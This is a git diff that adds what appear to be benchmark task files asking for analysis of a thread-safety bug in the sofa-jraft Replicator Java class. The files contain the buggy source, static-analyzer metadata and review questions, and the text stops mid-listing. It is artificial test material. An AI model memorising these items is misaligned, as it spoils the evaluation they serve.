+        }
+        final int entriesSize = request.getEntriesCount();
+        if (entriesSize > 0) {
+            r.options.getBallotBox().commitAt(r.nextIndex, r.nextIndex + entriesSize - 1, r.options.getPeerId());
+            if (LOG.isDebugEnabled()) {
+                LOG.debug("Replicated logs in [{}, {}] to peer {}", r.nextIndex, r.nextIndex + entriesSize - 1,
+                    r.options.getPeerId());
+            }
+        } else {
+            // The request is probe request, change the state into Replicate.
+            r.state = State.Replicate;
+        }
+        r.nextIndex += entriesSize;
+        r.hasSucceeded = true;
+        r.notifyOnCaughtUp(RaftError.SUCCESS.getNumber(), false);
+        // dummy_id is unlock in _send_entries
+        if (r.timeoutNowIndex > 0 && r.timeoutNowIndex < r.nextIndex) {
+            r.sendTimeoutNow(false, false);
+        }
+        return true;
+    }
+
+    private boolean fillCommonFields(final AppendEntriesRequest.Builder rb, long prevLogIndex, final boolean isHeartbeat) {
+        final long prevLogTerm = this.options.getLogManager().getTerm(prevLogIndex);
+        if (prevLogTerm == 0 && prevLogIndex != 0) {
+            if (!isHeartbeat) {
+                Requires.requireTrue(prevLogIndex < this.options.getLogManager().getFirstLogIndex());
+                LOG.debug("logIndex={} was compacted", prevLogIndex);
+                return false;
+            } else {
+                // The log at prev_log_index has been compacted, which indicates
+                // we is or is going to install snapshot to the follower. So we let
+                // both prev_log_index and prev_log_term be 0 in the heartbeat
+                // request so that follower would do nothing besides updating its
+                // leader timestamp.
+                prevLogIndex = 0;
+            }
+        }
+        rb.setTerm(this.options.getTerm());
+        rb.setGroupId(this.options.getGroupId());
+        rb.setServerId(this.options.getServerId().toString());
+        rb.setPeerId(this.options.getPeerId().toString());
+        rb.setPrevLogIndex(prevLogIndex);
+        rb.setPrevLogTerm(prevLogTerm);
+        rb.setCommittedIndex(this.options.getBallotBox().getLastCommittedIndex());
+        return true;
+    }
+
+    private void waitMoreEntries(final long nextWaitIndex) {
+        try {
+            LOG.debug("Node {} waits more entries", this.options.getNode().getNodeId());
+            if (this.waitId >= 0) {
+                return;
+            }
+            this.waitId = this.options.getLogManager().wait(nextWaitIndex - 1,
+                (arg, errorCode) -> continueSending((ThreadId) arg, errorCode), this.id);
+            this.statInfo.runningState = RunningState.IDLE;
+        } finally {
+            this.id.unlock();
+        }
+    }
+
+    /**
+     * Send as many requests as possible.
+     */
+    void sendEntries() {
+        boolean doUnlock = true;
+        try {
+            long prevSendIndex = -1;
+            while (true) {
+                final long nextSendingIndex = getNextSendIndex();
+                if (nextSendingIndex > prevSendIndex) {
+                    if (sendEntries(nextSendingIndex)) {
+                        prevSendIndex = nextSendingIndex;
+                    } else {
+                        doUnlock = false;
+                        // id already unlock in sendEntries when it returns false.
+                        break;
+                    }
+                } else {
+                    break;
+                }
+            }
+        } finally {
+            if (doUnlock) {
+                this.id.unlock();
+            }
+        }
+
+    }
+
+    /**
+     * Send log entries to follower, returns true when success, otherwise false and unlock the id.
+     *
+     * @param nextSendingIndex next sending index
+     * @return send result.
+     */
+    private boolean sendEntries(final long nextSendingIndex) {
+        final AppendEntriesRequest.Builder rb = AppendEntriesRequest.newBuilder();
+        if (!fillCommonFields(rb, nextSendingIndex - 1, false)) {
+            // unlock id in installSnapshot
+            installSnapshot();
+            return false;
+        }
+
+        ByteBufferCollector dataBuf = null;
+        final int maxEntriesSize = this.raftOptions.getMaxEntriesSize();
+        final RecyclableByteBufferList byteBufList = RecyclableByteBufferList.newInstance();
+        try {
+            for (int i = 0; i < maxEntriesSize; i++) {
+                final RaftOutter.EntryMeta.Builder emb = RaftOutter.EntryMeta.newBuilder();
+                if (!prepareEntry(nextSendingIndex, i, emb, byteBufList)) {
+                    break;
+                }
+                rb.addEntries(emb.build());
+            }
+            if (rb.getEntriesCount() == 0) {
+                if (nextSendingIndex < this.options.getLogManager().getFirstLogIndex()) {
+                    installSnapshot();
+                    return false;
+                }
+                // _id is unlock in _wait_more
+                waitMoreEntries(nextSendingIndex);
+                return false;
+            }
+            if (byteBufList.getCapacity() > 0) {
+                dataBuf = ByteBufferCollector.allocateByRecyclers(byteBufList.getCapacity());
+                for (final ByteBuffer b : byteBufList) {
+                    dataBuf.put(b);
+                }
+                final ByteBuffer buf = dataBuf.getBuffer();
+                buf.flip();
+                rb.setData(ZeroByteStringHelper.wrap(buf));
+            }
+        } finally {
+            RecycleUtil.recycle(byteBufList);
+        }
+
+        final AppendEntriesRequest request = rb.build();
+        if (LOG.isDebugEnabled()) {
+            LOG.debug(
+                "Node {} send AppendEntriesRequest to {} term {} lastCommittedIndex {} prevLogIndex {} prevLogTerm {} logIndex {} count {}",
+                this.options.getNode().getNodeId(), this.options.getPeerId(), this.options.getTerm(),
+                request.getCommittedIndex(), request.getPrevLogIndex(), request.getPrevLogTerm(), nextSendingIndex,
+                request.getEntriesCount());
+        }
+        this.statInfo.runningState = RunningState.APPENDING_ENTRIES;
+        this.statInfo.firstLogIndex = rb.getPrevLogIndex() + 1;
+        this.statInfo.lastLogIndex = rb.getPrevLogIndex() + rb.getEntriesCount();
+
+        final Recyclable recyclable = dataBuf;
+        final int v = this.version;
+        final long monotonicSendTimeMs = Utils.monotonicMs();
+        final int seq = getAndIncrementReqSeq();
+        final Future<Message> rpcFuture = this.rpcService.appendEntries(this.options.getPeerId().getEndpoint(),
+            request, -1, new RpcResponseClosureAdapter<AppendEntriesResponse>() {
+
+                @Override
+                public void run(final Status status) {
+                    RecycleUtil.recycle(recyclable);
+                    onRpcReturned(Replicator.this.id, RequestType.AppendEntries, status, request, getResponse(), seq,
+                        v, monotonicSendTimeMs);
+                }
+
+            });
+        addInflight(RequestType.AppendEntries, nextSendingIndex, request.getEntriesCount(), request.getData().size(),
+            seq, rpcFuture);
+        return true;
+
+    }
+
+    public static void sendHeartbeat(final ThreadId id, final RpcResponseClosure<AppendEntriesResponse> closure) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            Utils.runClosureInThread(closure, new Status(RaftError.EHOSTDOWN, "Peer %s is not connected", id));
+            return;
+        }
+        //id unlock in send empty entries.
+        r.sendEmptyEntries(true, closure);
+    }
+
+    private static void sendHeartbeat(final ThreadId id) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return;
+        }
+        // unlock in sendEmptyEntries
+        r.sendEmptyEntries(true);
+    }
+
+    @SuppressWarnings("SameParameterValue")
+    private void sendTimeoutNow(final boolean unlockId, final boolean stopAfterFinish) {
+        sendTimeoutNow(unlockId, stopAfterFinish, -1);
+    }
+
+    private void sendTimeoutNow(final boolean unlockId, final boolean stopAfterFinish, final int timeoutMs) {
+        final TimeoutNowRequest.Builder rb = TimeoutNowRequest.newBuilder();
+        rb.setTerm(this.options.getTerm());
+        rb.setGroupId(this.options.getGroupId());
+        rb.setServerId(this.options.getServerId().toString());
+        rb.setPeerId(this.options.getPeerId().toString());
+        try {
+            if (!stopAfterFinish) {
+                // This RPC is issued by transfer_leadership, save this call_id so that
+                // the RPC can be cancelled by stop.
+                this.timeoutNowInFly = timeoutNow(rb, false, timeoutMs);
+                this.timeoutNowIndex = 0;
+            } else {
+                timeoutNow(rb, true, timeoutMs);
+            }
+        } finally {
+            if (unlockId) {
+                this.id.unlock();
+            }
+        }
+
+    }
+
+    private Future<Message> timeoutNow(final TimeoutNowRequest.Builder rb, final boolean stopAfterFinish,
+                                       final int timeoutMs) {
+        final TimeoutNowRequest request = rb.build();
+        return this.rpcService.timeoutNow(this.options.getPeerId().getEndpoint(), request, timeoutMs,
+            new RpcResponseClosureAdapter<TimeoutNowResponse>() {
+
+                @Override
+                public void run(final Status status) {
+                    if (Replicator.this.id != null) {
+                        onTimeoutNowReturned(Replicator.this.id, status, request, getResponse(), stopAfterFinish);
+                    }
+                }
+
+            });
+    }
+
+    @SuppressWarnings("unused")
+    static void onTimeoutNowReturned(final ThreadId id, final Status status, final TimeoutNowRequest request,
+                                     final TimeoutNowResponse response, final boolean stopAfterFinish) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return;
+        }
+
+        final boolean isLogDebugEnabled = LOG.isDebugEnabled();
+        StringBuilder sb = null;
+        if (isLogDebugEnabled) {
+            sb = new StringBuilder("Node "). //
+                append(r.options.getGroupId()).append(":").append(r.options.getServerId()). //
+                append(" received TimeoutNowResponse from "). //
+                append(r.options.getPeerId());
+        }
+        if (!status.isOk()) {
+            if (isLogDebugEnabled) {
+                sb.append(" fail:").append(status);
+                LOG.debug(sb.toString());
+            }
+            notifyReplicatorStatusListener(r, ReplicatorEvent.ERROR, status);
+            if (stopAfterFinish) {
+                r.notifyOnCaughtUp(RaftError.ESTOP.getNumber(), true);
+                r.destroy();
+            } else {
+                id.unlock();
+            }
+            return;
+        }
+        if (isLogDebugEnabled) {
+            sb.append(response.getSuccess() ? " success" : " fail");
+            LOG.debug(sb.toString());
+        }
+        if (response.getTerm() > r.options.getTerm()) {
+            final NodeImpl node = r.options.getNode();
+            r.notifyOnCaughtUp(RaftError.EPERM.getNumber(), true);
+            r.destroy();
+            node.increaseTermTo(response.getTerm(), new Status(RaftError.EHIGHERTERMRESPONSE,
+                "Leader receives higher term timeout_now_response from peer:%s", r.options.getPeerId()));
+            return;
+        }
+        if (stopAfterFinish) {
+            r.notifyOnCaughtUp(RaftError.ESTOP.getNumber(), true);
+            r.destroy();
+        } else {
+            id.unlock();
+        }
+
+    }
+
+    public static boolean stop(final ThreadId id) {
+        id.setError(RaftError.ESTOP.getNumber());
+        return true;
+    }
+
+    public static boolean join(final ThreadId id) {
+        id.join();
+        return true;
+    }
+
+    public static long getLastRpcSendTimestamp(final ThreadId id) {
+        final Replicator r = (Replicator) id.getData();
+        if (r == null) {
+            return 0L;
+        }
+        return r.lastRpcSendTimestamp;
+    }
+
+    public static boolean transferLeadership(final ThreadId id, final long logIndex) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return false;
+        }
+        // dummy is unlock in _transfer_leadership
+        return r.transferLeadership(logIndex);
+    }
+
+    private boolean transferLeadership(final long logIndex) {
+        if (this.hasSucceeded && this.nextIndex > logIndex) {
+            // _id is unlock in _send_timeout_now
+            sendTimeoutNow(true, false);
+            return true;
+        }
+        // Register log_index so that _on_rpc_return trigger
+        // _send_timeout_now if _next_index reaches log_index
+        this.timeoutNowIndex = logIndex;
+        this.id.unlock();
+        return true;
+    }
+
+    public static boolean stopTransferLeadership(final ThreadId id) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return false;
+        }
+        r.timeoutNowIndex = 0;
+        id.unlock();
+        return true;
+    }
+
+    public static boolean sendTimeoutNowAndStop(final ThreadId id, final int timeoutMs) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return false;
+        }
+        // id unlock in sendTimeoutNow
+        r.sendTimeoutNow(true, true, timeoutMs);
+        return true;
+    }
+
+    public static long getNextIndex(final ThreadId id) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return 0;
+        }
+        long nextIdx = 0;
+        if (r.hasSucceeded) {
+            nextIdx = r.nextIndex;
+        }
+        id.unlock();
+        return nextIdx;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+INTERFACE_NOT_THREAD_SAFE
+
+### Qualifier:
+Unprotected call to method of un-annotated interface org.slf4j.Logger. Consider annotating the class with `@ThreadSafe`, adding a lock, or using an interface that is known to be thread-safe.
+ Reporting because the current class is annotated `@ThreadSafe`.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Replicator.destroy()
+
+### Procedure Id:
+com.alipay.sofa.jraft.core.Replicator.destroy():void.7d6a56b93dd19c576109b0cec5680863
+
+### File:
+jraft-core/src/main/java/com/alipay/sofa/jraft/core/Replicator.java
+
+### Key:
+Replicator.java|destroy|INTERFACE_NOT_THREAD_SAFE
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+a29760b742b51bce7000b008d85573d5
+
+### Bug Type Hum:
+Interface Not Thread Safe
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9226/instruction.md b/inferredbugs-9226/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0d5b3f2f923bdc1e4cce5ac78aa27766913eaf88
--- /dev/null
+++ b/inferredbugs-9226/instruction.md
@@ -0,0 +1,1801 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sofa-jraft
+**Bug ID:** 37
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.alipay.sofa.jraft.core;
+
+import java.nio.ByteBuffer;
+import java.util.ArrayDeque;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.PriorityQueue;
+import java.util.concurrent.Future;
+import java.util.concurrent.ScheduledFuture;
+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.concurrent.ThreadSafe;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import com.alipay.sofa.jraft.Node;
+import com.alipay.sofa.jraft.Status;
+import com.alipay.sofa.jraft.closure.CatchUpClosure;
+import com.alipay.sofa.jraft.entity.EnumOutter;
+import com.alipay.sofa.jraft.entity.LogEntry;
+import com.alipay.sofa.jraft.entity.PeerId;
+import com.alipay.sofa.jraft.entity.RaftOutter;
+import com.alipay.sofa.jraft.error.RaftError;
+import com.alipay.sofa.jraft.error.RaftException;
+import com.alipay.sofa.jraft.option.RaftOptions;
+import com.alipay.sofa.jraft.option.ReplicatorOptions;
+import com.alipay.sofa.jraft.rpc.RaftClientService;
+import com.alipay.sofa.jraft.rpc.RpcRequests.AppendEntriesRequest;
+import com.alipay.sofa.jraft.rpc.RpcRequests.AppendEntriesResponse;
+import com.alipay.sofa.jraft.rpc.RpcRequests.InstallSnapshotRequest;
+import com.alipay.sofa.jraft.rpc.RpcRequests.InstallSnapshotResponse;
+import com.alipay.sofa.jraft.rpc.RpcRequests.TimeoutNowRequest;
+import com.alipay.sofa.jraft.rpc.RpcRequests.TimeoutNowResponse;
+import com.alipay.sofa.jraft.rpc.RpcResponseClosure;
+import com.alipay.sofa.jraft.rpc.RpcResponseClosureAdapter;
+import com.alipay.sofa.jraft.storage.snapshot.SnapshotReader;
+import com.alipay.sofa.jraft.util.ByteBufferCollector;
+import com.alipay.sofa.jraft.util.OnlyForTest;
+import com.alipay.sofa.jraft.util.Recyclable;
+import com.alipay.sofa.jraft.util.RecyclableByteBufferList;
+import com.alipay.sofa.jraft.util.RecycleUtil;
+import com.alipay.sofa.jraft.util.Requires;
+import com.alipay.sofa.jraft.util.ThreadId;
+import com.alipay.sofa.jraft.util.Utils;
+import com.codahale.metrics.Gauge;
+import com.codahale.metrics.Metric;
+import com.codahale.metrics.MetricRegistry;
+import com.codahale.metrics.MetricSet;
+import com.google.protobuf.Message;
+import com.google.protobuf.ZeroByteStringHelper;
+
+/**
+ * Replicator for replicating log entry from leader to followers.
+ * @author boyan (boyan@alibaba-inc.com)
+ *
+ * 2018-Apr-04 10:32:02 AM
+ */
+@ThreadSafe
+public class Replicator implements ThreadId.OnError {
+
+    private static final Logger              LOG                    = LoggerFactory.getLogger(Replicator.class);
+
+    private final RaftClientService          rpcService;
+    // Next sending log index
+    private volatile long                    nextIndex;
+    private int                              consecutiveErrorTimes  = 0;
+    private boolean                          hasSucceeded;
+    private long                             timeoutNowIndex;
+    private volatile long                    lastRpcSendTimestamp;
+    private volatile long                    heartbeatCounter       = 0;
+    private volatile long                    appendEntriesCounter   = 0;
+    private volatile long                    installSnapshotCounter = 0;
+    protected Stat                           statInfo               = new Stat();
+    private ScheduledFuture<?>               blockTimer;
+
+    // Cached the latest RPC in-flight request.
+    private Inflight                         rpcInFly;
+    // Heartbeat RPC future
+    private Future<Message>                  heartbeatInFly;
+    // Timeout request RPC future
+    private Future<Message>                  timeoutNowInFly;
+    // In-flight RPC requests, FIFO queue
+    private final ArrayDeque<Inflight>       inflights              = new ArrayDeque<>();
+
+    private long                             waitId                 = -1L;
+    protected ThreadId                       id;
+    private final ReplicatorOptions          options;
+    private final RaftOptions                raftOptions;
+
+    private ScheduledFuture<?>               heartbeatTimer;
+    private volatile SnapshotReader          reader;
+    private CatchUpClosure                   catchUpClosure;
+    private final TimerManager               timerManager;
+    private final NodeMetrics                nodeMetrics;
+    private volatile State                   state;
+
+    // Request sequence
+    private int                              reqSeq                 = 0;
+    // Response sequence
+    private int                              requiredNextSeq        = 0;
+    // Replicator state reset version
+    private int                              version                = 0;
+
+    // Pending response queue;
+    private final PriorityQueue<RpcResponse> pendingResponses       = new PriorityQueue<>(50);
+
+    private int getAndIncrementReqSeq() {
+        final int prev = this.reqSeq;
+        this.reqSeq++;
+        if (this.reqSeq < 0) {
+            this.reqSeq = 0;
+        }
+        return prev;
+    }
+
+    private int getAndIncrementRequiredNextSeq() {
+        final int prev = this.requiredNextSeq;
+        this.requiredNextSeq++;
+        if (this.requiredNextSeq < 0) {
+            this.requiredNextSeq = 0;
+        }
+        return prev;
+    }
+
+    /**
+     * Replicator state
+     * @author dennis
+     *
+     */
+    public enum State {
+        Probe, // probe follower state
+        Snapshot, // installing snapshot to follower
+        Replicate, // replicate logs normally
+        Destroyed // destroyed
+    }
+
+    public Replicator(final ReplicatorOptions replicatorOptions, final RaftOptions raftOptions) {
+        super();
+        this.options = replicatorOptions;
+        this.nodeMetrics = this.options.getNode().getNodeMetrics();
+        this.nextIndex = this.options.getLogManager().getLastLogIndex() + 1;
+        this.timerManager = replicatorOptions.getTimerManager();
+        this.raftOptions = raftOptions;
+        this.rpcService = replicatorOptions.getRaftRpcService();
+    }
+
+    /**
+     * Replicator metric set.
+     * @author dennis
+     *
+     */
+    private static final class ReplicatorMetricSet implements MetricSet {
+        private final ReplicatorOptions opts;
+        private final Replicator        r;
+
+        private ReplicatorMetricSet(final ReplicatorOptions opts, final Replicator r) {
+            this.opts = opts;
+            this.r = r;
+        }
+
+        @Override
+        public Map<String, Metric> getMetrics() {
+            final Map<String, Metric> gauges = new HashMap<>();
+            gauges.put("log-lags",
+                (Gauge<Long>) () -> this.opts.getLogManager().getLastLogIndex() - (this.r.nextIndex - 1));
+            gauges.put("next-index", (Gauge<Long>) () -> this.r.nextIndex);
+            gauges.put("heartbeat-times", (Gauge<Long>) () -> this.r.heartbeatCounter);
+            gauges.put("install-snapshot-times", (Gauge<Long>) () -> this.r.installSnapshotCounter);
+            gauges.put("append-entries-times", (Gauge<Long>) () -> this.r.appendEntriesCounter);
+            return gauges;
+        }
+    }
+
+    /**
+     * Internal state
+     * @author boyan (boyan@alibaba-inc.com)
+     *
+     * 2018-Apr-04 10:38:45 AM
+     */
+    enum RunningState {
+        IDLE, // idle
+        BLOCKING, // blocking state
+        APPENDING_ENTRIES, // appending log entries
+        INSTALLING_SNAPSHOT // installing snapshot
+    }
+
+    enum ReplicatorEvent {
+        CREATED, // created
+        ERROR, // error
+        DESTROYED // destroyed
+    }
+
+    /**
+     * User can implement the ReplicatorStateListener interface by themselves.
+     * So they can do some their own logic codes when replicator created, destroyed or had some errors.
+     *
+     * @author zongtanghu
+     *
+     * 2019-Aug-20 2:32:10 PM
+     */
+    public interface ReplicatorStateListener {
+
+        /**
+         * Called when this replicator has been created.
+         *
+         * @param peer   replicator related peerId
+         */
+        void onCreated(final PeerId peer);
+
+        /**
+         * Called when this replicator has some errors.
+         *
+         * @param peer   replicator related peerId
+         * @param status replicator's error detailed status
+         */
+        void onError(final PeerId peer, final Status status);
+
+        /**
+         * Called when this replicator has been destroyed.
+         *
+         * @param peer   replicator related peerId
+         */
+        void onDestroyed(final PeerId peer);
+    }
+
+    /**
+     * Notify replicator event(such as created, error, destroyed) to replicatorStateListener which is implemented by users.
+     *
+     * @param replicator    replicator object
+     * @param event         replicator's state listener event type
+     * @param status        replicator's error detailed status
+     */
+    private static void notifyReplicatorStatusListener(final Replicator replicator, final ReplicatorEvent event, final Status status) {
+        final ReplicatorOptions replicatorOpts = Requires.requireNonNull(replicator.getOpts(), "replicatorOptions");
+        final Node node = Requires.requireNonNull(replicatorOpts.getNode(), "node");
+        final PeerId peer = Requires.requireNonNull(replicatorOpts.getPeerId(), "peer");
+
+        final List<ReplicatorStateListener> listenerList = node.getReplicatorStatueListeners();
+        for (int i = 0; i < listenerList.size(); i++) {
+            final ReplicatorStateListener listener = listenerList.get(i);
+            if(listener != null) {
+                try {
+                    switch (event) {
+                        case CREATED:
+                            Utils.runInThread(() -> listener.onCreated(peer));
+                            break;
+                        case ERROR:
+                            Utils.runInThread(() -> listener.onError(peer, status));
+                            break;
+                        case DESTROYED:
+                            Utils.runInThread(() -> listener.onDestroyed(peer));
+                            break;
+                        default:
+                            break;
+                    }
+                } catch (final Exception e) {
+                    LOG.error("Fail to notify ReplicatorStatusListener, listener={}, event={}.", listener, event);
+                }
+            }
+        }
+    }
+
+    /**
+     * Notify replicator event(such as created, error, destroyed) to replicatorStateListener which is implemented by users for none status.
+     *
+     * @param replicator    replicator object
+     * @param event         replicator's state listener event type
+     */
+    private static void notifyReplicatorStatusListener(final Replicator replicator, final ReplicatorEvent event) {
+        notifyReplicatorStatusListener(replicator, event, null);
+    }
+
+    /**
+     * Statistics structure
+     * @author boyan (boyan@alibaba-inc.com)
+     *
+     * 2018-Apr-04 10:38:53 AM
+     */
+    static class Stat {
+        RunningState runningState;
+        long         firstLogIndex;
+        long         lastLogIncluded;
+        long         lastLogIndex;
+        long         lastTermIncluded;
+
+        @Override
+        public String toString() {
+            return "<running=" + this.runningState + ", firstLogIndex=" + this.firstLogIndex + ", lastLogIncluded="
+                   + this.lastLogIncluded + ", lastLogIndex=" + this.lastLogIndex + ", lastTermIncluded="
+                   + this.lastTermIncluded + ">";
+        }
+
+    }
+
+    // In-flight request type
+    enum RequestType {
+        Snapshot, // install snapshot
+        AppendEntries // replicate logs
+    }
+
+    /**
+     * In-flight request.
+     * @author dennis
+     *
+     */
+    static class Inflight {
+        // In-flight request count
+        final int             count;
+        // Start log index
+        final long            startIndex;
+        // Entries size in bytes
+        final int             size;
+        // RPC future
+        final Future<Message> rpcFuture;
+        final RequestType     requestType;
+        // Request sequence.
+        final int             seq;
+
+        public Inflight(final RequestType requestType, final long startIndex, final int count, final int size,
+                        final int seq, final Future<Message> rpcFuture) {
+            super();
+            this.seq = seq;
+            this.requestType = requestType;
+            this.count = count;
+            this.startIndex = startIndex;
+            this.size = size;
+            this.rpcFuture = rpcFuture;
+        }
+
+        @Override
+        public String toString() {
+            return "Inflight [count=" + this.count + ", startIndex=" + this.startIndex + ", size=" + this.size
+                   + ", rpcFuture=" + this.rpcFuture + ", requestType=" + this.requestType + ", seq=" + this.seq + "]";
+        }
+
+        boolean isSendingLogEntries() {
+            return this.requestType == RequestType.AppendEntries && this.count > 0;
+        }
+    }
+
+    /**
+     * RPC response for AppendEntries/InstallSnapshot.
+     * @author dennis
+     *
+     */
+    static class RpcResponse implements Comparable<RpcResponse> {
+        final Status      status;
+        final Message     request;
+        final Message     response;
+        final long        rpcSendTime;
+        final int         seq;
+        final RequestType requestType;
+
+        public RpcResponse(final RequestType reqType, final int seq, final Status status, final Message request,
+                           final Message response, final long rpcSendTime) {
+            super();
+            this.requestType = reqType;
+            this.seq = seq;
+            this.status = status;
+            this.request = request;
+            this.response = response;
+            this.rpcSendTime = rpcSendTime;
+        }
+
+        @Override
+        public String toString() {
+            return "RpcResponse [status=" + this.status + ", request=" + this.request + ", response=" + this.response
+                   + ", rpcSendTime=" + this.rpcSendTime + ", seq=" + this.seq + ", requestType=" + this.requestType
+                   + "]";
+        }
+
+        /**
+         * Sort by sequence.
+         */
+        @Override
+        public int compareTo(final RpcResponse o) {
+            return Integer.compare(this.seq, o.seq);
+        }
+    }
+
+    @OnlyForTest
+    ArrayDeque<Inflight> getInflights() {
+        return this.inflights;
+    }
+
+    @OnlyForTest
+    State getState() {
+        return this.state;
+    }
+
+    @OnlyForTest
+    void setState(final State state) {
+        this.state = state;
+    }
+
+    @OnlyForTest
+    int getReqSeq() {
+        return this.reqSeq;
+    }
+
+    @OnlyForTest
+    int getRequiredNextSeq() {
+        return this.requiredNextSeq;
+    }
+
+    @OnlyForTest
+    int getVersion() {
+        return this.version;
+    }
+
+    @OnlyForTest
+    public PriorityQueue<RpcResponse> getPendingResponses() {
+        return this.pendingResponses;
+    }
+
+    @OnlyForTest
+    long getWaitId() {
+        return this.waitId;
+    }
+
+    @OnlyForTest
+    ScheduledFuture<?> getBlockTimer() {
+        return this.blockTimer;
+    }
+
+    @OnlyForTest
+    long getTimeoutNowIndex() {
+        return this.timeoutNowIndex;
+    }
+
+    @OnlyForTest
+    ReplicatorOptions getOpts() {
+        return this.options;
+    }
+
+    @OnlyForTest
+    long getRealNextIndex() {
+        return this.nextIndex;
+    }
+
+    @OnlyForTest
+    Future<Message> getRpcInFly() {
+        if (this.rpcInFly == null) {
+            return null;
+        }
+        return this.rpcInFly.rpcFuture;
+    }
+
+    @OnlyForTest
+    Future<Message> getHeartbeatInFly() {
+        return this.heartbeatInFly;
+    }
+
+    @OnlyForTest
+    ScheduledFuture<?> getHeartbeatTimer() {
+        return this.heartbeatTimer;
+    }
+
+    @OnlyForTest
+    void setHasSucceeded() {
+        this.hasSucceeded = true;
+    }
+
+    @OnlyForTest
+    Future<Message> getTimeoutNowInFly() {
+        return this.timeoutNowInFly;
+    }
+
+    /**
+     * Adds a in-flight request
+     * @param reqType   type of request
+     * @param count     count if request
+     * @param size      size in bytes
+     */
+    private void addInflight(final RequestType reqType, final long startIndex, final int count, final int size,
+                             final int seq, final Future<Message> rpcInfly) {
+        this.rpcInFly = new Inflight(reqType, startIndex, count, size, seq, rpcInfly);
+        this.inflights.add(this.rpcInFly);
+        this.nodeMetrics.recordSize("replicate-inflights-count", this.inflights.size());
+    }
+
+    /**
+     * Returns the next in-flight sending index, return -1 when can't send more in-flight requests.
+     *
+     * @return next in-flight sending index
+     */
+    long getNextSendIndex() {
+        // Fast path
+        if (this.inflights.isEmpty()) {
+            return this.nextIndex;
+        }
+        // Too many in-flight requests.
+        if (this.inflights.size() > this.raftOptions.getMaxReplicatorInflightMsgs()) {
+            return -1L;
+        }
+        // Last request should be a AppendEntries request and has some entries.
+        if (this.rpcInFly != null && this.rpcInFly.isSendingLogEntries()) {
+            return this.rpcInFly.startIndex + this.rpcInFly.count;
+        }
+        return -1L;
+    }
+
+    private Inflight pollInflight() {
+        return this.inflights.poll();
+    }
+
+    private void startHeartbeatTimer(final long startMs) {
+        final long dueTime = startMs + this.options.getDynamicHeartBeatTimeoutMs();
+        try {
+            this.heartbeatTimer = this.timerManager.schedule(() -> onTimeout(this.id), dueTime - Utils.nowMs(),
+                TimeUnit.MILLISECONDS);
+        } catch (final Exception e) {
+            LOG.error("Fail to schedule heartbeat timer", e);
+            onTimeout(this.id);
+        }
+    }
+
+    void installSnapshot() {
+        if (this.state == State.Snapshot) {
+            LOG.warn("Replicator {} is installing snapshot, ignore the new request.", this.options.getPeerId());
+            this.id.unlock();
+            return;
+        }
+        boolean doUnlock = true;
+        try {
+            Requires.requireTrue(this.reader == null,
+                "Replicator %s already has a snapshot reader, current state is %s", this.options.getPeerId(),
+                this.state);
+            this.reader = this.options.getSnapshotStorage().open();
+            if (this.reader == null) {
+                final NodeImpl node = this.options.getNode();
+                final RaftException error = new RaftException(EnumOutter.ErrorType.ERROR_TYPE_SNAPSHOT);
+                error.setStatus(new Status(RaftError.EIO, "Fail to open snapshot"));
+                this.id.unlock();
+                doUnlock = false;
+                node.onError(error);
+                return;
+            }
+            final String uri = this.reader.generateURIForCopy();
+            if (uri == null) {
+                final NodeImpl node = this.options.getNode();
+                final RaftException error = new RaftException(EnumOutter.ErrorType.ERROR_TYPE_SNAPSHOT);
+                error.setStatus(new Status(RaftError.EIO, "Fail to generate uri for snapshot reader"));
+                releaseReader();
+                this.id.unlock();
+                doUnlock = false;
+                node.onError(error);
+                return;
+            }
+            final RaftOutter.SnapshotMeta meta = this.reader.load();
+            if (meta == null) {
+                final String snapshotPath = this.reader.getPath();
+                final NodeImpl node = this.options.getNode();
+                final RaftException error = new RaftException(EnumOutter.ErrorType.ERROR_TYPE_SNAPSHOT);
+                error.setStatus(new Status(RaftError.EIO, "Fail to load meta from %s", snapshotPath));
+                releaseReader();
+                this.id.unlock();
+                doUnlock = false;
+                node.onError(error);
+                return;
+            }
+            final InstallSnapshotRequest.Builder rb = InstallSnapshotRequest.newBuilder();
+            rb.setTerm(this.options.getTerm());
+            rb.setGroupId(this.options.getGroupId());
+            rb.setServerId(this.options.getServerId().toString());
